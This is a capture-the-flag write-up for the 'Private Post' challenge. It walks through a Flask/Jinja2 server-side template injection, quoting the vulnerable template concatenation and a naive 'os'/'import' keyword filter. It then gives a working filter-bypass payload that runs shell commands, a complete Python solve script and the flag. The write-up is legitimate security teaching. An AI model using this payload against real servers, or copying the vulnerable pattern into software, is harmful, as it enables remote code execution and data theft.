2025

CTF INTERNACIONAL METARED ETAPA MEXICO

WRITEUP

CHALLENGE

Private Post

Description

Welcome to PrivatePost, a new, supposedly privacy-focused messaging service designed for whistleblowers and journalists. We guarantee end-to-end encryption and a "zero-trust" environment where messages are purged after a week. However, a recent anonymous tip claims that a developer overlooked a critical flaw during implementation. An attacker could potentially read private messages from other users and gain access to sensitive server data. Your task is to investigate this claim by finding the hidden flag, which is stored in a private message, to prove the vulnerability exists.

File: client.py

Solution:

1. Initial Reconnaissance & client.py

Upon receiving the challenge files, the **client.py** script immediately stands out as the intended method of interaction with the web application. Let's examine key aspects of **client.py**:

User-Agent Enforcement:

```
# app/client.py
# ...
def get_path(path):
    headers = {"User-Agent": "PrivatePost 1.0"}
    return get(BASE_URL + path, headers=headers)

def post_path(path, data):
    headers = {"User-Agent": "PrivatePost 1.0"}
    return post(BASE_URL + path, headers=headers, json = data)
# ...
```

Both **get_path** and **post_path** functions explicitly set the User-Agent header to "PrivatePost 1.0". This suggests that the server might be enforcing this header, and indeed, **app/main.py** includes a check_user_agent decorator that validates this. This is a minor hurdle, but easily overcome by using the provided client or setting the header manually in a custom script.

Client-Side Input Sanitization:

The most critical observation in client.py is within the "Create message" functionality:

```
# app/client.py
# ...
elif primary_selection == "1":
    print("Creating new message")
    title = input("Recipient: ")
    message_content = input("Message content: ").replace("{", "").replace("}", "")
    res = post_path("/api/submit", {"title": title, "content": message_content}).json()
# ...
```

The line *message_content = input("Message content: ").replace("{", "").replace("}", "")* attempts to remove curly braces ({, }) from the user's input before sending it to the server. This is a classic, but flawed, attempt at sanitization. Any security control implemented only on the client-side can be easily bypassed by an attacker who controls their own client (e.g., by modifying the script or sending direct HTTP requests with tools like curl or Postman). This immediately signals a potential Server-Side Template Injection (SSTI) vulnerability, as curly braces are fundamental to Jinja2 template syntax.

2. Vulnerability Identification: Server-Side Template Injection (SSTI) with Keyword Filtering

Based on the client.py analysis, the next step is to examine **app/main.py** for how the content is handled.

Vulnerable Endpoint: The vulnerability resides in the read_post function, which handles GET requests to /api/posts/<post_id>.

The Core Flaw:

```
# app/main.py
# ...
@app.route("/api/posts/<post_id>", methods=["GET"])
@check_user_agent
```

```
def read_post(post_id):
    try:
        # ...
        if post:
            title = post[0]
            content = post[1]
            # THIS IS THE VULNERABLE LINE:
            template = "Message ID: {{post_id}}\nRecipient: {{title}}\nMessage: " + content
            return render_template_string(template, title = title, post_id = post_id)
        # ...
```

The content variable, which stores the user-supplied message, is directly concatenated into the template string. This template string is then passed to Flask's render_template_string function, which interprets its argument as a Jinja2 template. This is the root cause of the SSTI.

Server-Side Keyword Filter (Increased Difficulty):
A key addition to this challenge is a server-side filter in the submit_post function:

```
# app/main.py
# ...
@app.route("/api/submit", methods=["POST"])
@check_user_agent
def submit_post():
    try:
        # ...
        content = data['content']
        # --- NEW FILTERING LOGIC ---
        lower_content = content.lower()
        if 'os' in lower_content or 'import' in lower_content:
            return jsonify({"error": "Forbidden keywords detected in message content."}),
400
        # --- END NEW FILTERING LOGIC ---
        # ...
```

This filter prevents the submission of any message content that literally contains the keywords 'os' or 'import' (case-insensitive). This significantly raises the difficulty, as common SSTI payloads that directly use __import__('os').popen(...) will be blocked. Players must find a way to bypass this filter while still achieving Remote Code Execution (RCE).

3. Steps Towards Solution

Step 1: Bypassing Client-Side Sanitization

The first crucial step is to get our Jinja2 payload, including curly braces, past the client.py script.

1. **Modify app/client.py:**
   Open app/client.py and comment out or remove the line that performs the client-side sanitization:
   Original:
   ```
   message_content = input("Message content: ").replace("{", "").replace("}", "")
   ```
   Modified:
   ```
   # message_content = input("Message content: ").replace("{", "").replace("}", "")
   message_content = input("Message content: ") # Direct input, no sanitization
   ```

   Save the **client.py** file.

Step 2: Bypassing Server-Side Keyword Filters ('os', 'import')

Since direct use of 'os' and 'import' is blocked, we need to use **Python object introspection** and **string manipulation** within the Jinja2 template to construct the necessary commands at runtime.

The strategy involves:

1. Finding an accessible object in the Jinja2 context (e.g., '' an empty string).
2. Traversing its ***__class__ and __mro__*** to reach the base object class.
3. Using ***__subclasses__()*** to list all loaded Python classes.
4. Identifying a class whose **__init__** method (or another accessible method/attribute) exposes **__globals__,** which in turn contains **__builtins__**. The **__builtins__** dictionary contains the eval() function.
5. Using string concatenation (Jinja2's ~ operator) to dynamically build the 'os' and 'import' strings *inside* the eval() call, so they are not present as literal strings when the server's filter checks the input.

Finding the Target Class (_frozen_importlib._ModuleLock):

To find a suitable class, one would typically submit a payload **like {{ ''.__class__.__mro__[1].__subclasses__() }}** and examine the voluminous output. In this environment, we identified **_frozen_importlib._ModuleLock** at index **119** as a viable target for reaching **__builtins__** through its **__init__.__globals__.**

The Bypassing Payload:

This payload uses string concatenation to avoid the filter and then executes cat flag.txt:

```
{{
''.__class__.__mro__[1].__subclasses__()[119].__init__.__globals__['__builtins__']['eval']("
__imp"~"ort__(\"o"~"s\").popen(\"cat flag.txt\").read()") }}
```

Breakdown of the payload:

- ''.__class__.__mro__[1].__subclasses__()[119]: This part navigates the Python object hierarchy to get to the _frozen_importlib._ModuleLock class.
- .__init__.__globals__: Accesses the global namespace where the __init__ method of _frozen_importlib._ModuleLock was defined. This namespace contains __builtins__.
- ['__builtins__']['eval']: Retrieves the eval() function from the __builtins__ dictionary.
- ("__imp"~"ort__(\"o"~"s\").popen(\"cat flag.txt\").read()"): This is the string passed to eval(). Notice how 'import' is split into "__imp"~"ort__" and 'os' is split into "o"~"s". This bypasses the server's keyword filter because the literal strings "os" and "import" are not present in the submitted payload. They are only constructed at runtime when eval() processes the string.
  - __import__("os"): Dynamically imports the os module.
  - .popen("cat flag.txt"): Executes the shell command cat flag.txt.
  - .read(): Reads the output of the command.

Step 3: Submitting and Retrieving the Payload

1. Run your modified python3 app/client.py.
2. Select option 1 to "Create message".
3. For "Recipient", enter anything (e.g., bypass_flag).
4. For "Message content", paste the entire new bypassing payload:
   {{
   ''.__class__.__mro__[1].__subclasses__()[119].__init__.__globals__['__builtins__']['eval']("

"__imp"~"ort__(\"o"~"s\").popen(\"cat flag.txt\").read()") }}

5. The client will return a post_id. Copy this ID.
6. Select option 2 to "Search message".
7. Enter the copied post_id.

The server will execute the injected command, and the output will reveal the flag.

5. The Flag

The flag is:

flagmx{d1g1t4l_pr1v4cy_1s_n0t_4_j0k3}

Solution Script:

```
import requests
import re

# --- Challenge Configuration ---
BASE_URL = "http://localhost:8080"
USER_AGENT = "PrivatePost 1.0" # User-Agent required by the server

# --- SSTI Payload to bypass filters ---
# This payload uses string concatenation and object introspection
# to bypass 'os' and 'import' keyword filters and execute 'cat flag.txt'.
# Index 119 corresponds to '_frozen_importlib._ModuleLock' in the given
environment.
# If the Python environment changes, this index might need re-enumeration.
SSTI_PAYLOAD = """
{{
''.__class__.__mro__[1].__subclasses__()[119].__init__.__globals__['__builtins__'
]['eval']("__imp"~"ort__(\\"o"~"s\\").popen(\\"cat flag.txt\\").read()") }}
"""

# --- API Interaction Functions ---
def submit_message(recipient, content):
    """
    Submits a new message to the PrivatePost service.
    """
    url = f"{BASE_URL}/api/submit"
    headers = {
        "User-Agent": USER_AGENT,
        "Content-Type": "application/json"
    }
    data = {
        "title": recipient,
        "content": content
    }
    try:
        response = requests.post(url, headers=headers, json=data)
        response.raise_for_status() # Raises an HTTPError for bad responses (4xx
or 5xx)
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"Error submitting message: {e}")
        if response:
            print(f"Server response: {response.text}")
        return None

def read_message(post_id):
    """
    Reads an existing message from the PrivatePost service.
    """
    url = f"{BASE_URL}/api/posts/{post_id}"
    headers = {
        "User-Agent": USER_AGENT
    }
    try:
        response = requests.get(url, headers=headers)
        response.raise_for_status()
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"Error reading message with ID {post_id}: {e}")
        if response:
            print(f"Server response: {response.text}")
        return None

# --- Solution Logic ---
def solve_challenge():
    print("[*] Starting PrivatePost solve script...")

    # 1. Submit the SSTI payload
    print("[*] Submitting SSTI payload...")
    submit_response = submit_message("Flag_Recipient", SSTI_PAYLOAD)

    if not submit_response or 'post_id' not in submit_response:
        print("[!] Failed to get a post_id. Aborting.")
        return

    post_id = submit_response['post_id']
    print(f"[*] Payload successfully submitted. Post ID: {post_id}")

    # 2. Read the message containing the executed payload
    print(f"[*] Retrieving message with Post ID: {post_id} to get the flag...")
    message_content = read_message(post_id)

    if not message_content:
        print("[!] Failed to retrieve message content. Aborting.")
        return
    # 3. Extract the flag from the message content
    # The flag format is flagmx{...}
    flag_pattern = re.compile(r"flagmx\{[a-z0-9_]+\}")
    match = flag_pattern.search(message_content)

    if match:
        flag = match.group(0)
        print("\n[+] Flag found!")
        print(f"Flag: {flag}")
    else:
        print("[!] Flag not found in the message response.")
        print("\n--- Full retrieved message content ---")
        print(message_content)
        print("--------------------------------------")

if __name__ == "__main__":
    solve_challenge()
```

Conclusion:

- **Advanced Server-Side Template Injection (SSTI) Bypasses:** This challenge moves beyond basic SSTI by introducing server-side keyword filtering. Players learn that simple string matching filters are often insufficient and can be bypassed using dynamic string construction and Python object introspection techniques (e.g., __class__, __mro__, __subclasses__, __globals__, __builtins__, eval()).

- **Deep Python Introspection:** Solving this requires a deeper understanding of Python's object model and how to navigate it to find powerful functions like eval() or subprocess.Popen without direct imports.

- **The Importance of Context-Aware Escaping:** This challenge strongly emphasizes that robust SSTI prevention requires not just filtering, but proper context-aware escaping of user input *before* it's passed to a template engine, or by using template engines in a secure, sandboxed manner.

- **Layered Security (and its limits):** The challenge demonstrates that while adding layers of defense (client-side sanitization, server-side keyword filtering) is good, if the fundamental vulnerability (SSTI) remains, a determined attacker can often find a bypass.

Digital Privacy Implications: The theme reinforces that complex vulnerabilities can lead to severe privacy breaches, allowing unauthorized access to sensitive data (like private messages and system files) in real-world applications.